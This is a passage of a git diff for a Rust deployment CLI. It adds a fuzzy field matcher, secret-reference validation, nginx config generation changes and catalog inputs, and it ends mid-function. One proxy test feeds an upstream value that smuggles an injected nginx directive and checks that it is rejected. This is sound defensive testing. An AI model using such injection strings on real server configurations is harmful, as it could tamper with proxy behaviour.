+        let dir = TempDir::new().unwrap();
+        let store = LocalPipeStore::new(dir.path());
+        let first = sample_document();
+        let second = sample_document();
+
+        store.save_new(&first).unwrap();
+        let err = store.save_new(&second).unwrap_err();
+        assert!(err.to_string().contains("already exists"));
+    }
+
+    #[test]
+    fn plaintext_secret_values_are_rejected() {
+        let result = LocalPipeDocument::draft(NewLocalPipeDocument {
+            instance: LocalPipeInstance {
+                target_adapter: Some(
+                    PipeAdapterReference::new("smtp")
+                        .with_role(PipeAdapterRole::Target)
+                        .with_config(serde_json::json!({
+                            "host": "smtp",
+                            "password": "super-secret"
+                        })),
+                ),
+                ..sample_document().instance
+            },
+            ..NewLocalPipeDocument {
+                name: sample_document().name,
+                source: sample_document().source,
+                target: sample_document().target,
+                template: sample_document().template,
+                instance: sample_document().instance,
+                diagnostics: sample_document().diagnostics,
+            }
+        });
+
+        let err = result.unwrap_err();
+        assert!(err
+            .to_string()
+            .contains("must use a secret reference instead of a plaintext value"));
+    }
+
+    #[test]
+    fn secret_reference_values_are_allowed() {
+        let mut document = sample_document();
+        document.instance.target_adapter = Some(
+            PipeAdapterReference::new("smtp")
+                .with_role(PipeAdapterRole::Target)
+                .with_config(serde_json::json!({
+                    "host": "smtp",
+                    "password": {
+                        "secret_ref": {
+                            "scope": "service",
+                            "service": "smtp",
+                            "name": "SMTP_PASSWORD"
+                        }
+                    }
+                })),
+        );
+
+        assert!(document.validate().is_ok());
+    }
+}
diff --git a/src/cli/ml_field_matcher.rs b/src/cli/ml_field_matcher.rs
new file mode 100644
index 00000000..b0eb3fc3
--- /dev/null
+++ b/src/cli/ml_field_matcher.rs
@@ -0,0 +1,527 @@
+use std::collections::HashMap;
+
+use crate::cli::field_matcher::{
+    FieldMatchResult, FieldMatcher, MatchingMode, TransformSuggestion, FIELD_ALIASES,
+};
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// MlFieldMatcher — cosine-similarity matching on n-gram vectors
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Minimum cosine similarity to consider a match.
+const DEFAULT_THRESHOLD: f32 = 0.45;
+
+/// Size of character n-grams.
+const NGRAM_SIZE: usize = 3;
+
+/// ML-inspired field matcher using character n-gram vectorization and cosine similarity.
+///
+/// Matching layers (applied in order, first match wins):
+/// 1. Exact name match (confidence 1.0)
+/// 2. Case-insensitive match (confidence 0.95)
+/// 3. Semantic alias match (confidence 0.90)
+/// 4. N-gram cosine similarity (confidence = similarity score)
+/// 5. Token overlap scoring for compound field names (confidence = overlap ratio)
+pub struct MlFieldMatcher {
+    threshold: f32,
+}
+
+impl MlFieldMatcher {
+    pub fn new() -> Self {
+        Self {
+            threshold: DEFAULT_THRESHOLD,
+        }
+    }
+
+    pub fn with_threshold(threshold: f32) -> Self {
+        Self { threshold }
+    }
+}
+
+impl Default for MlFieldMatcher {
+    fn default() -> Self {
+        Self::new()
+    }
+}
+
+impl FieldMatcher for MlFieldMatcher {
+    fn match_fields(
+        &self,
+        src_fields: &[String],
+        tgt_fields: &[String],
+        _source_sample: Option<&serde_json::Value>,
+    ) -> FieldMatchResult {
+        let mut mapping = serde_json::Map::new();
+        let mut confidence = HashMap::new();
+        let mut suggestions = Vec::new();
+        let mut used_sources: Vec<String> = Vec::new();
+
+        for tgt_field in tgt_fields {
+            let available: Vec<&String> = src_fields
+                .iter()
+                .filter(|s| !used_sources.contains(s))
+                .collect();
+
+            if available.is_empty() {
+                break;
+            }
+
+            if let Some((src, score)) = best_match(tgt_field, &available, self.threshold) {
+                mapping.insert(
+                    tgt_field.clone(),
+                    serde_json::Value::String(format!("$.{}", src)),
+                );
+                confidence.insert(tgt_field.clone(), score);
+                used_sources.push(src.clone());
+
+                // Suggest transformation if score is moderate (fuzzy match)
+                if score < 0.85 && score >= self.threshold {
+                    suggestions.push(TransformSuggestion {
+                        target_field: tgt_field.clone(),
+                        expression: format!("$.{}", src),
+                        description: format!(
+                            "Fuzzy match (confidence {:.0}%) — verify mapping correctness",
+                            score * 100.0
+                        ),
+                    });
+                }
+            }
+        }
+
+        FieldMatchResult {
+            mapping: serde_json::Value::Object(mapping),
+            confidence,
+            suggestions,
+            mode: MatchingMode::Ml,
+        }
+    }
+}
+
+/// Find the best matching source field for a target field.
+/// Returns (source_field, confidence) or None if below threshold.
+fn best_match(target: &str, sources: &[&String], threshold: f32) -> Option<(String, f32)> {
+    // Layer 1: Exact match
+    if let Some(src) = sources.iter().find(|s| s.as_str() == target) {
+        return Some(((*src).clone(), 1.0));
+    }
+
+    // Layer 2: Case-insensitive
+    let tgt_lower = target.to_ascii_lowercase();
+    if let Some(src) = sources.iter().find(|s| s.to_ascii_lowercase() == tgt_lower) {
+        return Some(((*src).clone(), 0.95));
+    }
+
+    // Layer 3: Semantic aliases
+    for (group_a, group_b) in FIELD_ALIASES {
+        if group_a.iter().any(|a| a.eq_ignore_ascii_case(target)) {
+            if let Some(src) = sources
+                .iter()
+                .find(|sf| group_b.iter().any(|b| b.eq_ignore_ascii_case(sf)))
+            {
+                return Some(((*src).clone(), 0.90));
+            }
+        }
+    }
+
+    // Layer 4: N-gram cosine similarity
+    let tgt_vec = ngram_vector(target);
+    let mut best: Option<(String, f32)> = None;
+
+    for src in sources {
+        let src_vec = ngram_vector(src);
+        let sim = cosine_similarity(&tgt_vec, &src_vec);
+        if sim >= threshold {
+            if best.as_ref().map_or(true, |(_, s)| sim > *s) {
+                best = Some(((*src).clone(), sim));
+            }
+        }
+    }
+
+    if let Some(ref b) = best {
+        if b.1 >= threshold {
+            return best;
+        }
+    }
+
+    // Layer 5: Token overlap (split on _ and compare tokens)
+    let tgt_tokens = tokenize(target);
+    let mut best_overlap: Option<(String, f32)> = None;
+
+    for src in sources {
+        let src_tokens = tokenize(src);
+        let overlap = token_overlap_score(&tgt_tokens, &src_tokens);
+        if overlap >= threshold {
+            if best_overlap.as_ref().map_or(true, |(_, s)| overlap > *s) {
+                best_overlap = Some(((*src).clone(), overlap));
+            }
+        }
+    }
+
+    best_overlap
+}
+
+/// Build a character n-gram frequency vector (HashMap representation).
+fn ngram_vector(field: &str) -> HashMap<String, f32> {
+    let normalized = normalize_field_name(field);
+    let chars: Vec<char> = normalized.chars().collect();
+    let mut vec = HashMap::new();
+
+    if chars.len() < NGRAM_SIZE {
+        // For very short strings, use the whole string as a single gram
+        *vec.entry(normalized.clone()).or_insert(0.0) += 1.0;
+        return vec;
+    }
+
+    for window in chars.windows(NGRAM_SIZE) {
+        let gram: String = window.iter().collect();
+        *vec.entry(gram).or_insert(0.0) += 1.0;
+    }
+    vec
+}
+
+/// Cosine similarity between two sparse vectors.
+fn cosine_similarity(a: &HashMap<String, f32>, b: &HashMap<String, f32>) -> f32 {
+    let dot: f32 = a
+        .iter()
+        .filter_map(|(k, v)| b.get(k).map(|bv| v * bv))
+        .sum();
+
+    let mag_a: f32 = a.values().map(|v| v * v).sum::<f32>().sqrt();
+    let mag_b: f32 = b.values().map(|v| v * v).sum::<f32>().sqrt();
+
+    if mag_a == 0.0 || mag_b == 0.0 {
+        return 0.0;
+    }
+
+    dot / (mag_a * mag_b)
+}
+
+/// Normalize a field name for n-gram extraction.
+fn normalize_field_name(name: &str) -> String {
+    // Convert camelCase to snake_case, then lowercase
+    let mut result = String::with_capacity(name.len() + 4);
+    for (i, ch) in name.chars().enumerate() {
+        if ch.is_uppercase() && i > 0 {
+            result.push('_');
+        }
+        result.push(ch.to_ascii_lowercase());
+    }
+    result
+}
+
+/// Tokenize a field name by splitting on _, -, and camelCase boundaries.
+fn tokenize(name: &str) -> Vec<String> {
+    let normalized = normalize_field_name(name);
+    normalized
+        .split(|c: char| c == '_' || c == '-')
+        .filter(|s| !s.is_empty())
+        .map(|s| s.to_string())
+        .collect()
+}
+
+/// Compute token overlap score (Jaccard-like).
+fn token_overlap_score(a: &[String], b: &[String]) -> f32 {
+    if a.is_empty() || b.is_empty() {
+        return 0.0;
+    }
+
+    let matches = a.iter().filter(|t| b.contains(t)).count();
+    let total = a.len().max(b.len());
+
+    matches as f32 / total as f32
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    // ── Unit tests for helper functions ─────────────────
+
+    #[test]
+    fn test_normalize_camel_case() {
+        assert_eq!(normalize_field_name("firstName"), "first_name");
+        assert_eq!(
+            normalize_field_name("userEmailAddress"),
+            "user_email_address"
+        );
+        assert_eq!(normalize_field_name("id"), "id");
+        assert_eq!(normalize_field_name("HTTPStatus"), "h_t_t_p_status");
+    }
+
+    #[test]
+    fn test_tokenize() {
+        assert_eq!(tokenize("first_name"), vec!["first", "name"]);
+        assert_eq!(tokenize("userName"), vec!["user", "name"]);
+        assert_eq!(tokenize("email"), vec!["email"]);
+        assert_eq!(
+            tokenize("user-email-address"),
+            vec!["user", "email", "address"]
+        );
+    }
+
+    #[test]
+    fn test_ngram_vector_basic() {
+        let vec = ngram_vector("email");
+        // "email" → 5 chars → 3 trigrams: "ema", "mai", "ail"
+        assert_eq!(vec.len(), 3);
+        assert_eq!(*vec.get("ema").unwrap(), 1.0);
+        assert_eq!(*vec.get("mai").unwrap(), 1.0);
+        assert_eq!(*vec.get("ail").unwrap(), 1.0);
+    }
+
+    #[test]
+    fn test_ngram_vector_short() {
+        let vec = ngram_vector("id");
+        assert_eq!(vec.len(), 1);
+        assert!(vec.contains_key("id"));
+    }
+
+    #[test]
+    fn test_cosine_similarity_identical() {
+        let a = ngram_vector("email");
+        let b = ngram_vector("email");
+        let sim = cosine_similarity(&a, &b);
+        assert!((sim - 1.0).abs() < 0.001);
+    }
+
+    #[test]
+    fn test_cosine_similarity_similar() {
+        let a = ngram_vector("user_email");
+        let b = ngram_vector("email_user");
+        let sim = cosine_similarity(&a, &b);
+        // These share many trigrams so similarity should be high
+        assert!(sim > 0.5, "Expected > 0.5, got {}", sim);
+    }
+
+    #[test]
+    fn test_cosine_similarity_dissimilar() {
+        let a = ngram_vector("email");
+        let b = ngram_vector("zzzzzz");
+        let sim = cosine_similarity(&a, &b);
+        assert!(sim < 0.1, "Expected < 0.1, got {}", sim);
+    }
+
+    #[test]
+    fn test_cosine_empty_vector() {
+        let a: HashMap<String, f32> = HashMap::new();
+        let b = ngram_vector("email");
+        assert_eq!(cosine_similarity(&a, &b), 0.0);
+    }
+
+    #[test]
+    fn test_token_overlap_exact() {
+        let a = tokenize("first_name");
+        let b = tokenize("first_name");
+        assert_eq!(token_overlap_score(&a, &b), 1.0);
+    }
+
+    #[test]
+    fn test_token_overlap_partial() {
+        let a = tokenize("user_name");
+        let b = tokenize("user_email");
+        // overlap: "user" (1 of 2)
+        assert!((token_overlap_score(&a, &b) - 0.5).abs() < 0.001);
+    }
+
+    #[test]
+    fn test_token_overlap_empty() {
+        let a: Vec<String> = vec![];
+        let b = tokenize("email");
+        assert_eq!(token_overlap_score(&a, &b), 0.0);
+    }
+
+    // ── Integration tests for MlFieldMatcher ────────────
+
+    #[test]
+    fn test_ml_exact_match() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["email".into(), "name".into()];
+        let tgt = vec!["email".into(), "name".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.email");
+        assert_eq!(map["name"], "$.name");
+        assert_eq!(*result.confidence.get("email").unwrap(), 1.0);
+        assert_eq!(*result.confidence.get("name").unwrap(), 1.0);
+        assert_eq!(result.mode, MatchingMode::Ml);
+    }
+
+    #[test]
+    fn test_ml_case_insensitive() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["Email".into(), "UserName".into()];
+        let tgt = vec!["email".into(), "username".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.Email");
+        assert_eq!(map["username"], "$.UserName");
+        assert_eq!(*result.confidence.get("email").unwrap(), 0.95);
+    }
+
+    #[test]
+    fn test_ml_semantic_aliases() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["user_email".into(), "display_name".into()];
+        let tgt = vec!["email".into(), "name".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.user_email");
+        assert_eq!(map["name"], "$.display_name");
+        assert_eq!(*result.confidence.get("email").unwrap(), 0.90);
+    }
+
+    #[test]
+    fn test_ml_ngram_fuzzy_match() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["customer_email_address".into(), "customer_name".into()];
+        let tgt = vec!["email_addr".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        // Should fuzzy-match via n-gram similarity
+        assert!(
+            map.contains_key("email_addr"),
+            "Expected fuzzy match for email_addr"
+        );
+        let conf = *result.confidence.get("email_addr").unwrap();
+        assert!(
+            conf >= 0.45 && conf < 1.0,
+            "Expected fuzzy confidence, got {}",
+            conf
+        );
+    }
+
+    #[test]
+    fn test_ml_token_overlap_match() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["order_date".into(), "order_total".into()];
+        let tgt = vec!["purchase_date".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        // "purchase_date" and "order_date" share token "date"
+        if map.contains_key("purchase_date") {
+            assert_eq!(map["purchase_date"], "$.order_date");
+        }
+    }
+
+    #[test]
+    fn test_ml_no_match_below_threshold() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["aaaa".into(), "bbbb".into()];
+        let tgt = vec!["xxxx".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert!(
+            map.is_empty(),
+            "Expected no match for totally dissimilar fields"
+        );
+    }
+
+    #[test]
+    fn test_ml_custom_threshold() {
+        let matcher = MlFieldMatcher::with_threshold(0.99);
+        let src = vec!["order_status".into()];
+        let tgt = vec!["shipment_state".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        // With 0.99 threshold, only exact/near-exact matches qualify
+        let map = result.mapping.as_object().unwrap();
+        assert!(
+            map.is_empty(),
+            "Expected no match at 0.99 threshold, got: {:?}",
+            map
+        );
+    }
+
+    #[test]
+    fn test_ml_suggestions_for_fuzzy() {
+        let matcher = MlFieldMatcher::with_threshold(0.40);
+        let src = vec!["customer_email_address".into()];
+        let tgt = vec!["email_addr".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        if map.contains_key("email_addr") {
+            let conf = *result.confidence.get("email_addr").unwrap();
+            if conf < 0.85 {
+                assert!(
+                    !result.suggestions.is_empty(),
+                    "Expected suggestion for fuzzy match"
+                );
+                assert!(result.suggestions[0].description.contains("Fuzzy match"));
+            }
+        }
+    }
+
+    #[test]
+    fn test_ml_no_duplicate_source_mapping() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["email".into()];
+        let tgt = vec!["email".into(), "mail".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        // "email" should only map once (first match wins)
+        assert_eq!(map.len(), 1);
+        assert_eq!(map["email"], "$.email");
+    }
+
+    #[test]
+    fn test_ml_mixed_strategies() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec![
+            "email".into(),
+            "display_name".into(),
+            "Phone".into(),
+            "customer_address_line1".into(),
+        ];
+        let tgt = vec![
+            "email".into(),      // exact → 1.0
+            "name".into(),       // alias → 0.90
+            "phone".into(),      // case insensitive → 0.95
+            "addr_line1".into(), // fuzzy
+        ];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.email");
+        assert_eq!(map["name"], "$.display_name");
+        assert_eq!(map["phone"], "$.Phone");
+        assert!(
+            map.len() >= 3,
+            "Expected at least 3 matches, got {}",
+            map.len()
+        );
+    }
+
+    #[test]
+    fn test_ml_empty_inputs() {
+        let matcher = MlFieldMatcher::new();
+        let result = matcher.match_fields(&[], &[], None);
+        assert!(result.mapping.as_object().unwrap().is_empty());
+        assert!(result.confidence.is_empty());
+
+        let result2 = matcher.match_fields(&["a".into()], &[], None);
+        assert!(result2.mapping.as_object().unwrap().is_empty());
+
+        let result3 = matcher.match_fields(&[], &["a".into()], None);
+        assert!(result3.mapping.as_object().unwrap().is_empty());
+    }
+
+    #[test]
+    fn test_ml_mode_is_ml() {
+        let matcher = MlFieldMatcher::new();
+        let result = matcher.match_fields(&["a".into()], &["a".into()], None);
+        assert_eq!(result.mode, MatchingMode::Ml);
+    }
+
+    #[test]
+    fn test_ml_camel_case_normalization() {
+        let matcher = MlFieldMatcher::new();
+        let src = vec!["firstName".into()];
+        let tgt = vec!["first_name".into()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        // After normalization, "firstName" → "first_name" which is a near-perfect match
+        assert!(
+            map.contains_key("first_name"),
+            "Expected camelCase to snake_case match"
+        );
+    }
+}
diff --git a/src/cli/mod.rs b/src/cli/mod.rs
index 588ee207..5f6b0027 100644
--- a/src/cli/mod.rs
+++ b/src/cli/mod.rs
@@ -1,16 +1,36 @@
 pub mod ai_client;
+pub mod ai_field_matcher;
+pub mod ai_pipe_suggest;
 pub mod ai_scanner;
+pub mod ai_scenarios;
 pub mod ci_export;
+pub mod cloud_env;
+pub mod compose_service_sync;
+pub mod compose_targets;
+pub mod config_bundle;
+pub mod config_check;
+pub mod config_contract;
+pub mod config_diff;
+pub mod config_inventory;
 pub mod config_parser;
+pub mod config_promote;
 pub mod credentials;
+pub mod debug;
 pub mod deployment_lock;
 pub mod detector;
 pub mod error;
+pub mod field_matcher;
 pub mod fmt;
 pub mod generator;
+pub mod github_fetcher;
 pub mod install_runner;
+pub mod local_compose;
+pub mod local_pipe_store;
+pub mod ml_field_matcher;
 pub mod progress;
 pub mod proxy_manager;
 pub mod runtime;
 pub mod service_catalog;
+pub mod service_import;
 pub mod stacker_client;
+pub mod user_config;
diff --git a/src/cli/progress.rs b/src/cli/progress.rs
index e27a1e2c..3858d280 100644
--- a/src/cli/progress.rs
+++ b/src/cli/progress.rs
@@ -55,9 +55,20 @@ pub fn finish_error(pb: &ProgressBar, msg: &str) {
     pb.finish_with_message(format!("✗ {}", msg));
 }
 
+/// Finish a spinner with a warning marker.
+pub fn finish_warning(pb: &ProgressBar, msg: &str) {
+    pb.set_style(
+        ProgressStyle::default_spinner()
+            .template("  {msg}")
+            .expect("invalid template"),
+    );
+    pb.finish_with_message(format!("⚠ {}", msg));
+}
+
 /// Update the spinner message without stopping it.
 pub fn update_message(pb: &ProgressBar, msg: &str) {
     pb.set_message(msg.to_string());
+    pb.tick();
 }
 
 // ── Status icons ─────────────────────────────────────
@@ -65,11 +76,19 @@ pub fn update_message(pb: &ProgressBar, msg: &str) {
 /// Return a status icon for a deployment status string.
 pub fn status_icon(status: &str) -> &'static str {
     match status {
+        // Deployment statuses
         "completed" | "confirmed" => "✓",
         "failed" | "error" | "cancelled" => "✗",
         "in_progress" => "⟳",
         "pending" | "wait_start" => "◷",
         "paused" | "wait_resume" => "⏸",
+        // Agent statuses
+        "online" => "●",
+        "offline" | "disconnected" => "○",
+        // Container states (Docker)
+        "running" => "▶",
+        "exited" | "stopped" | "dead" => "■",
+        "restarting" | "created" => "⟳",
         _ => "?",
     }
 }
@@ -86,10 +105,7 @@ pub fn health_spinner(total_services: usize) -> ProgressBar {
 
 /// Update health check progress.
 pub fn update_health(pb: &ProgressBar, running: usize, total: usize) {
-    pb.set_message(format!(
-        "Container health: {}/{} running",
-        running, total
-    ));
+    pb.set_message(format!("Container health: {}/{} running", running, total));
 }
 
 #[cfg(test)]
@@ -103,6 +119,13 @@ mod tests {
         assert_eq!(status_icon("in_progress"), "⟳");
         assert_eq!(status_icon("pending"), "◷");
         assert_eq!(status_icon("paused"), "⏸");
+        // Agent statuses
+        assert_eq!(status_icon("online"), "●");
+        assert_eq!(status_icon("offline"), "○");
+        // Container states
+        assert_eq!(status_icon("running"), "▶");
+        assert_eq!(status_icon("exited"), "■");
+        assert_eq!(status_icon("restarting"), "⟳");
         assert_eq!(status_icon("unknown_status"), "?");
     }
 }
diff --git a/src/cli/proxy_manager.rs b/src/cli/proxy_manager.rs
index 2ed069a4..4ab4d61d 100644
--- a/src/cli/proxy_manager.rs
+++ b/src/cli/proxy_manager.rs
@@ -53,7 +53,11 @@ impl ContainerRuntime for DockerCliRuntime {
 
     fn list_containers(&self) -> Result<Vec<ContainerInfo>, CliError> {
         let output = std::process::Command::new("docker")
-            .args(["ps", "--format", "{{.ID}}|{{.Names}}|{{.Image}}|{{.Ports}}|{{.Status}}"])
+            .args([
+                "ps",
+                "--format",
+                "{{.ID}}|{{.Names}}|{{.Image}}|{{.Ports}}|{{.Status}}",
+            ])
             .output()
             .map_err(|_| CliError::ContainerRuntimeUnavailable)?;
 
@@ -279,6 +283,7 @@ pub fn generate_nginx_server_block(domain: &DomainConfig) -> Result<String, CliE
     validate_domain(&domain.domain)?;
     validate_upstream(&domain.upstream)?;
     let mut block = String::new();
+    let proxy_pass = proxy_pass_target(&domain.upstream);
 
     block.push_str("server {\n");
 
@@ -316,10 +321,11 @@ pub fn generate_nginx_server_block(domain: &DomainConfig) -> Result<String, CliE
 
             block.push_str("\n");
             block.push_str("    location / {\n");
-            block.push_str(&format!("        proxy_pass http://{};\n", domain.upstream));
+            block.push_str(&format!("        proxy_pass {};\n", proxy_pass));
             block.push_str("        proxy_set_header Host $host;\n");
             block.push_str("        proxy_set_header X-Real-IP $remote_addr;\n");
-            block.push_str("        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n");
+            block
+                .push_str("        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n");
             block.push_str("        proxy_set_header X-Forwarded-Proto $scheme;\n");
             block.push_str("    }\n");
             block.push_str("}\n");
@@ -329,10 +335,11 @@ pub fn generate_nginx_server_block(domain: &DomainConfig) -> Result<String, CliE
             block.push_str(&format!("    server_name {};\n", domain.domain));
             block.push_str("\n");
             block.push_str("    location / {\n");
-            block.push_str(&format!("        proxy_pass http://{};\n", domain.upstream));
+            block.push_str(&format!("        proxy_pass {};\n", proxy_pass));
             block.push_str("        proxy_set_header Host $host;\n");
             block.push_str("        proxy_set_header X-Real-IP $remote_addr;\n");
-            block.push_str("        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n");
+            block
+                .push_str("        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n");
             block.push_str("        proxy_set_header X-Forwarded-Proto $scheme;\n");
             block.push_str("    }\n");
             block.push_str("}\n");
@@ -342,6 +349,14 @@ pub fn generate_nginx_server_block(domain: &DomainConfig) -> Result<String, CliE
     Ok(block)
 }
 
+fn proxy_pass_target(upstream: &str) -> String {
+    if upstream.starts_with("http://") || upstream.starts_with("https://") {
+        upstream.to_string()
+    } else {
+        format!("http://{}", upstream)
+    }
+}
+
 /// Generate nginx configs for all domains in a proxy config.
 /// Returns a map of `filename → config content` for writing to `./nginx/conf.d/`.
 pub fn generate_nginx_configs(
@@ -443,10 +458,8 @@ mod tests {
 
     #[test]
     fn test_detect_proxy_nginx_from_containers() {
-        let runtime = MockContainerRuntime::available_with(vec![
-            app_container(),
-            nginx_container(),
-        ]);
+        let runtime =
+            MockContainerRuntime::available_with(vec![app_container(), nginx_container()]);
         let detection = detect_proxy(&runtime).unwrap();
         assert_eq!(detection.proxy_type, ProxyType::Nginx);
         assert_eq!(detection.container_name.as_deref(), Some("nginx-proxy"));
@@ -456,10 +469,7 @@ mod tests {
 
     #[test]
     fn test_detect_proxy_npm_from_containers() {
-        let runtime = MockContainerRuntime::available_with(vec![
-            app_container(),
-            npm_container(),
-        ]);
+        let runtime = MockContainerRuntime::available_with(vec![app_container(), npm_container()]);
         let detection = detect_proxy(&runtime).unwrap();
         assert_eq!(detection.proxy_type, ProxyType::NginxProxyManager);
         assert!(detection.ports.contains(&81));
@@ -467,9 +477,7 @@ mod tests {
 
     #[test]
     fn test_detect_proxy_traefik_from_containers() {
-        let runtime = MockContainerRuntime::available_with(vec![
-            traefik_container(),
-        ]);
+        let runtime = MockContainerRuntime::available_with(vec![traefik_container()]);
         let detection = detect_proxy(&runtime).unwrap();
         assert_eq!(detection.proxy_type, ProxyType::Traefik);
         assert_eq!(detection.container_name.as_deref(), Some("traefik"));
@@ -487,10 +495,8 @@ mod tests {
     fn test_detect_npm_takes_priority_over_nginx() {
         // NPM containers contain "nginx" in their image. NPM must be detected
         // first because its signature is checked before plain "nginx".
-        let runtime = MockContainerRuntime::available_with(vec![
-            npm_container(),
-            nginx_container(),
-        ]);
+        let runtime =
+            MockContainerRuntime::available_with(vec![npm_container(), nginx_container()]);
         let detection = detect_proxy(&runtime).unwrap();
         assert_eq!(detection.proxy_type, ProxyType::NginxProxyManager);
     }
@@ -547,6 +553,18 @@ mod tests {
         assert!(!block.contains("443"));
     }
 
+    #[test]
+    fn test_generate_nginx_server_block_keeps_upstream_scheme() {
+        let domain = DomainConfig {
+            domain: "app.local".to_string(),
+            ssl: SslMode::Off,
+            upstream: "http://app:8080".to_string(),
+        };
+        let block = generate_nginx_server_block(&domain).unwrap();
+        assert!(block.contains("proxy_pass http://app:8080;"));
+        assert!(!block.contains("proxy_pass http://http://app:8080;"));
+    }
+
     #[test]
     fn test_generate_nginx_configs_multiple_domains() {
         let domains = vec![
@@ -597,7 +615,8 @@ mod tests {
 
     #[test]
     fn test_parse_docker_ps_line() {
-        let line = "abc123|my-nginx|nginx:alpine|0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp|Up 2 hours";
+        let line =
+            "abc123|my-nginx|nginx:alpine|0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp|Up 2 hours";
         let info = parse_docker_ps_line(line);
         assert_eq!(info.id, "abc123");
         assert_eq!(info.name, "my-nginx");
@@ -726,7 +745,10 @@ mod tests {
             upstream: "app:3000".to_string(),
         };
         let result = generate_nginx_server_block(&domain);
-        assert!(result.is_err(), "Domain with special chars must be rejected");
+        assert!(
+            result.is_err(),
+            "Domain with special chars must be rejected"
+        );
     }
 
     #[test]
@@ -737,7 +759,10 @@ mod tests {
             upstream: "app:3000;\n        add_header X-Injected true".to_string(),
         };
         let result = generate_nginx_server_block(&domain);
-        assert!(result.is_err(), "Upstream with special chars must be rejected");
+        assert!(
+            result.is_err(),
+            "Upstream with special chars must be rejected"
+        );
     }
 
     #[test]
diff --git a/src/cli/runtime.rs b/src/cli/runtime.rs
index b180b3f6..9e919bba 100644
--- a/src/cli/runtime.rs
+++ b/src/cli/runtime.rs
@@ -6,7 +6,7 @@
 
 use crate::cli::credentials::{CredentialsManager, FileCredentialStore, StoredCredentials};
 use crate::cli::error::CliError;
-use crate::cli::stacker_client::{self, StackerClient};
+use crate::cli::stacker_client::StackerClient;
 
 /// Pre-built CLI execution context: credentials + async runtime + HTTP client.
 ///
@@ -29,7 +29,17 @@ impl CliRuntime {
     pub fn new(feature: &str) -> Result<Self, CliError> {
         let cred_manager = CredentialsManager::<FileCredentialStore>::with_default_store();
         let creds = cred_manager.require_valid_token(feature)?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL;
+        let env_server_url = std::env::var("STACKER_URL").ok();
+        let base_url = creds
+            .server_url
+            .as_deref()
+            .or(env_server_url.as_deref())
+            .map(crate::cli::install_runner::normalize_stacker_server_url)
+            .ok_or_else(|| {
+                CliError::ConfigValidation(
+                    "No Stacker API URL configured. Re-run `stacker login --auth-url <user-service-url> --server-url <stacker-api-url>` or set STACKER_URL.".to_string(),
+                )
+            })?;
 
         let rt = tokio::runtime::Builder::new_current_thread()
             .enable_all()
@@ -38,7 +48,7 @@ impl CliRuntime {
                 CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
             })?;
 
-        let client = StackerClient::new(base_url, &creds.access_token);
+        let client = StackerClient::new(&base_url, &creds.access_token);
 
         Ok(Self { creds, client, rt })
     }
diff --git a/src/cli/service_catalog.rs b/src/cli/service_catalog.rs
index dea421ef..7e7a2aac 100644
--- a/src/cli/service_catalog.rs
+++ b/src/cli/service_catalog.rs
@@ -8,7 +8,7 @@
 
 use std::collections::HashMap;
 
-use crate::cli::config_parser::ServiceDefinition;
+use crate::cli::config_parser::{ComposeHealthcheck, ServiceDefinition};
 use crate::cli::error::CliError;
 use crate::cli::stacker_client::StackerClient;
 
@@ -27,6 +27,59 @@ pub struct CatalogEntry {
     pub related: Vec<String>,
 }
 
+/// How the default value for a [`CatalogInput`] is produced.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum InputDefault {
+    /// No default — the user must provide a value (errors if non-interactive).
+    Required,
+    /// A fixed default, offered when prompting.
+    Literal(String),
+    /// Auto-generate a random secret; never prompted for.
+    GeneratedSecret,
+}
+
+/// A user-configurable value for a catalog service. The service definition
+/// references it as `${key}`; the resolved value is written to `.env`, never
+/// into `stacker.yml`.
+#[derive(Debug, Clone)]
+pub struct CatalogInput {
+    pub key: String,
+    pub prompt: String,
+    pub default: InputDefault,
+    /// Mask input and route the value to `.env`.
+    pub secret: bool,
+}
+
+/// User inputs for a hardcoded catalog service (by canonical code). The service
+/// template references each `key` as `${key}`. Empty for services with no
+/// configurable values.
+pub fn catalog_inputs(code: &str) -> Vec<CatalogInput> {
+    let secret = |key: &str, prompt: &str| CatalogInput {
+        key: key.to_string(),
+        prompt: prompt.to_string(),
+        default: InputDefault::GeneratedSecret,
+        secret: true,
+    };
+    match code {
+        "postgres" => vec![secret("POSTGRES_PASSWORD", "PostgreSQL password")],
+        "mysql" | "mariadb" => vec![
